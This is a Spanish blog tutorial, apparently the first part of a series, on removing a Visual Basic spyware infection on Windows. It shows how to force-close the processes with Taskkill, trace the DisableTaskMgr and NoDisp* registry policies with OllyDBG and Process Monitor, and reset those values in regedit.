De éste modo rápidamente nos hará un listado no solo con el proceso involucrado, sino que además sabremos básicamente lo que está haciendo.


Si os fijáis ya tenemos más candidatos al premio, solamente con ésta imagen ya veis primero, quien está constantemente deshabilitando el Administrador de Tareas. Además por el icono ya deducimos fácilmente que se trata de un Visual Basic.

Por el momento tenemos dos ejecutables, uno con un nombre irrepetible, y el otro que parece ser que está dando guerra. Copio ambos ejecutables para el análisis posterior, y voy eliminando los procesos a ver como responden.

En más de una ocasión encontraréis procesos que os deniegan el acceso a la hora de cerrarlos, con ese famoso mensaje de "Acceso Denegado".


Cuando ésto pase tendréis que hacer uso simplemente de "Taskkill", para cerrar un proceso normalmente podemos hacerlo de varias formas.

- Taskkill /IM proceso.exe
- Taskkill /PID

Por una parte, tenemos la opción de seleccionarlo con el nombre y por otra por el handle del proceso. Sin embargo si el proceso se resiste, hay que forzarlo, y ésto se hace con la opción "/F". Ej.

- Taskkill /IM "proceso.exe" /F

De éste modo obligamos al cierre del proceso y podemos eliminar el archivo sin problemas.

Volviendo a la lista de antes localizamos los dos procesos.

Y una vez los hemos localizado ya podemos forzar el cierre con los parámetros necesarios.



Ahora que hemos eliminado para poder continuar, vamos a ver las opciones que trae taskmgr (Administrador de Tareas) para habilitarlo, yo por ejemplo utilice el mensaje que nos muestra.



Y ya una vez vemos el mensaje lo buscamos en OllyDBG para poder localizar el problema.


y a partir de ahí ya se puede analizar para ver donde está el problema. Una vez hemos entrado en él ya podemos llegar a la zona del código, para ello tenemos que seleccionar el hilo principal.

Cuando hacemos "attach" sobre un programa lo que hacemos es situarnos en modo depuración sobre él y creando un nuevo hilo y haciendo uso de la función "DbgUiRemoteBreakin" como función de comienzo del hilo de entrada, y luego para el proceso con "DbgBreakPoint" para situarnos precisamente en lo que es el "RETN" donde nos quedamos parados.

Así que si pulsamos "ALT + T" (Threads) podemos ver el hilo de depuración y el hilo principal.


Cuando entremos sabremos fácilmente que estamos en el hilo correcto.


Entonces ya sabiendo cual es el principal, lo podemos seleccionar para ver la Stack (Pila) y localizar la función del mensaje. Ésto se hace con "ALT + K" (Call Stack).


Ya localizamos el mensaje vemos inmediatamente debajo la función que lo llamó.

Ahí fácilmente se puede localizar donde tenemos que actuar.


Vemos que comprueba el valor de la variable en el registro "DisableTaskMgr" y la clave la abre un poco antes.

Con la clave.

- Subkey = "Software\Microsoft\Windows\CurrentVersion\Policies\System"

Según el valor de la variable que es comparado aquí.



Si el Buffer es 0x00000001 el Administrador de tareas no se llega a ejecutar. Por eso hay que cambiar el valor en el regedit.

Así que para habilitarlo ha de quedar a 0. Ahora queda otra, una vez cerramos los procesos y eliminamos los archivos, hay que restaurar el escritorio. Ya que todavía tenemos la imagen de fondo que nos modificaron, y si damos a propiedades del escritorio nos deshabilitaron precisamente las opciones para modificarlo.



Son una captura de un pc normal y como quedó despues de ejecutar el spyware. Se ve claramente como faltan, tano el fondo de pantalla como el salvapantallas. Y siguiendo con el método anterior utilizaremos el ProcessMonitor para capturar el proceso que se encarga de ello.

Si abrimos en la función de inicio en la ventana veremos la información necesaria.

Una vez tenemos la línea de ejecución la analizamos para ver donde tenemos las opciones importantes.

- "C:\WINDOWS\system32\rundll32.exe" /d C:\WINDOWS\system32\shell32.dll,Control_RunDLL desk.cpl.

Tenemos el módulo encargado de gestionar las propiedades de la pantalla, y es "desk.cpl" así que ya sabemos donde tenemos que actuar cuando actuemos con OllyDBG.
Abrimos el proceso con "Attach".

Ahora asignamos los argumentos con el comando que nos dió el ProcMon. En "Debug - Arguments".


Ahora reiniciamos el programa para cargar los argumentos "CTRL + F2" (Restart) .

Seguramente lo más probable es que haya modificado la configuración del sistema, y como es normal ésto se suele hacer mediante archivos ".ini" o en el registro. Si logeamos las funciones que acceden al registro mediante RegQueryValueExA y RegQueryValueExW tendremos quizás la solución al problema.

Para ir a la función hay que pulsar "CTRL + G" (Go to - Expression) y le indicamos la función que queremos.

Y una vez ahí ya podemos meter un Conditional BreakPoint.



Con RegQueryValueExW repito el procedimiento y ejecutándolo en el log veremos los resultados. Yo lo guarde todo en un archivo para hacer búsquedas más deprisa (Boton derecho Open Log File). Y lo que encontré es una estructura.

77DA6FEF CALL to RegQueryValueExW from SHLWAPI.77F442B1
hKey = A0
ValueName = "NoDispCPL"
77DA6FEF CALL to RegQueryValueExW from SHLWAPI.77F442B1
hKey = 124
ValueName = "NoDispAppearancePage"
77DA6FEF CALL to RegQueryValueExW from SHLWAPI.77F442B1
hKey = 124
ValueName = "NoDispBackgroundPage"
77DA6FEF CALL to RegQueryValueExW from SHLWAPI.77F442B1
hKey = 124
ValueName = "NoDispScrSavPage"
77DA6FEF CALL to RegQueryValueExW from SHLWAPI.77F442B1
hKey = 124
ValueName = "NoDispSettingsPage"

Se puede dar uno cuenta rápidamente que son los valores que indican si se muestra o no la sección de la pestaña especificada. Añadiendo las funciones RegOpenKeyExA y RegOpenKeyExW con el mismo procedimiento anterior obtengo la clave.

77DA6A9F CALL to RegOpenKeyExW from SHLWAPI.77F44126
hKey = HKEY_LOCAL_MACHINE
Subkey = "Software\Microsoft\Windows\CurrentVersion\Policies\System"
Reserved = 0
Access = KEY_QUERY_VALUE
pHandle = 0007E8D4
77DA6FEF COND:
77DA6FEF CALL to RegQueryValueExW from SHLWAPI.77F442B1
hKey = 124
ValueName = "NoDispAppearancePage"
Reserved = NULL
pValueType = 0007E77C
Buffer = 0007EA30
pBufSize = 0007EA2C

Ahora debemos ir a.

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System"
"NoDispScrSavPage" (Eliminar o poner a 0)
"NoDispBackgroundPage" (Eliminar o poner a 0)

Sin casi esfuerzo y haciendo uso de herramientas potentes en poco rato averiguamos el problema y lo solucionamos en el regedit, de ésta manera aparentemente está todo correcto. Pero falta el análisis de los dos ejecutables que copiamos y los posibles rastros (Imágenes, *.scr, .dll, etc.) que veréis en la segunda parte.

Un saludo, y hasta la siguiente entrega.

fuente: Muy buen trabajo hecho por abssha

http://abssha.blogspot.com/2008_12_01_archive.html#7212283662597619264
Powered by Bad Robot
Helped by Blackubay